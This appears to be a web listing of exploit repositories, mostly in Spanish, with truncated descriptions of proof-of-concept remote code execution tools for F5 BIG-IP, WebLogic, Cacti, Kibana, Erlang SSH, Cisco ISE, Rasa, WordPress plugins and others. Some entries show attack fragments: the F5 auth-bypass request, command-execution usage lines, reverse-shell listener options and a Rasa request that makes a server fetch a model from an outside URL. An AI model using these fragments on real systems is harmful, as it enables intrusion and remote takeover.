CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE. POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd, X-Forwarded-Server, X-Forwarded-Host Content-type:...

msmq_re

msmqre This is one of the vulnerabilities fixed in MSMQ. https://research.checkpoint.com/2023/queuejumper-critical-unauthorized-rce-vulnerability-in-msmq-service/ 0:064 r rax=0000000000001000 rbx=000001b4ee9b5cf8 rcx=0000000000000006 rdx=000001b4240b5c24 rsi=0000000000000002 rdi=00000008e6c7fb10...

hermes-the-messenger

Hermes the messenger A PoC for achieving persistence via push notifications on Windows For more technical details and background read our blogpost here: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence Usage Before anything else you need to setu...

CVE_2026_7515

CVE20267515 CVE-2026-7515: BetterDocs Pro = 3.8.0 - Inclusión de archivos locales no autenticada a RCE EXPLOİT...

cve-2018-1207

cve-2018-1207 Exploit iDRAC 7 & 8 firmware 2.52.52.52 Description Dell EMC iDRAC7/iDRAC8, versions prior to 2.52.52.52, contain CGI injection vulnerability which could be used to execute remote code. A remote unauthenticated attacker may potentially be able to use CGI variables to execute remote...

cve-2025-12735-expr-eval-rce

CVE-2025-12735 expr-eval RCE Exploit Una herramienta de investigación de seguridad para detectar y probar la vulnerabilidad CVE-2025-12735 en los paquetes npm expr-eval y expr-eval-fork. ⚠️ Aviso legal Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El acceso no...

CVE-2021-21014

PoC Limited CVE-2021-21014 Magento versions 2.4.1 and earlier, 2.4.0-p1 and earlier and 2.3.6 and earlier are vulnerable to a file upload restriction bypass. Successful exploitation could lead to arbitrary code execution by an authenticated attacker. Affected version: = Magento 2.4.1 User...

CVE-2020-14295

CVE-2020-14295 CVE-2020-14295 prueba de concepto. La publicación original se puede encontrar en exploit-db. Instalar requisitos python3 -m pip install -r requirements.txt Uso $ python3 cactisqlirce.py --help usage: cactisqlirce.py -h -t -u -p --lhost --lport Cacti 1.2.12 - SQL Injection / Remote...

CVE-2019-2729-Exploit

CVE-2019-2729-Exploit uso: oracle-weblogic-deserialize.py -h -u TARGET -c COMMAND -h, --help : Muestra el mensaje de ayuda y sale -u TARGET : URL de destino -c COMMAND : Comando a ejecutar Ejemplo de uso python oracle-weblogic-deserialize.py -u http://192.168.1.1:8080 -c whoami Crédito por el...

CVE-2014-6271-IPFire

CVE-2014-6271 Implementación en Python de CVE-2014-6271: IP Fire =2.15 ShellShock RCE Basado en el módulo de Metasploit para el mismo exploit EDB ID: 34839 El exploit es automático. Consulte ./CVE-2014-6271.py --help para ver la gama completa de opciones Advertencia: El código en este repositorio...

CVE-2026-7654

CVE-2026-7654 CVE-2026-7654 Admin Columns PHP Object Injection RCE Exploit...

CVE-2024-12252

SEO LAT Auto Post = 2.2.1 - Ejecución Remota de Código Descripción El plugin SEO LAT Auto Post para WordPress es vulnerable a la sobrescritura de archivos debido a una falta de verificación de capacidad en la acción AJAX remoteupdate en todas las versiones hasta la 2.2.1 inclusive. Esto permite q...

freepbx-endpoint-sqli-rce

CVE-2025-57819 — Inyección SQL en el Módulo Endpoint de FreePBX → Ejecución Remota de Código Resumen FreePBX es la interfaz web de código abierto para Asterisk PBX, ampliamente implementada en entornos de telefonía empresarial. El módulo Endpoint Manager expone un manejador AJAX en /admin/ajax.ph...

-CVE-2026-7465

-CVE-2026-7465 CVE-2026-7465 Spectra Gutenberg Blocks Authenticated RCE Exploit...

CVE-2019-7609

CVE-2019-7609 Exploit de Kibana para CVE-2019-7609 en python Este exploit puede darte RCE NOTA:- ESTA ES LA VERSIÓN MODIFICADA Ayuda Escuchando en el puerto 4242 Ejecutando el exploit Acceso inicial...

CVE-2025-32433-Exploit-edited

CVE-2025-32433 Exploit Windows Compatible Erlang/OTP SSH Unauthenticated Remote Code Execution Description This repository contains an exploit for CVE-2025-32433, a critical unauthenticated remote code execution vulnerability in Erlang/OTP SSH server. Key Features: ✅ Pre-authentication RCE exploi...

CVE-2026-47670

CVE-2026-47670 Ejecución Remota de Código Autenticada mediante inyección en el parámetro functionName de loadReader en DbGate DbGate es una herramienta de gestión de bases de datos de código abierto y multiplataforma diseñada para desarrolladores y administradores de bases de datos que necesitan...

next88

next88 - Escáner de RCE para Componentes de Servidor React Implementación en Go de alto rendimiento para detectar vulnerabilidades RCE en Componentes de Servidor React CVE-2025-55182 y CVE-2025-66478. Características 🚀 Alto Rendimiento : Binario compilado en Go con concurrencia basada en gorutina...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 Prueba de concepto Informe: https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ El script de Python abusa de la función de subida disponible sin autenticación en /admin/files-upload/ El script crea localmente una carpeta bin y un archivo...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Ejecútalo directamente python server-1.py Carga arbitraria de archivos PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 El resultado es el siguiente: CVE-2021-41127 server-1.py El nombre del modelo predeterminado ...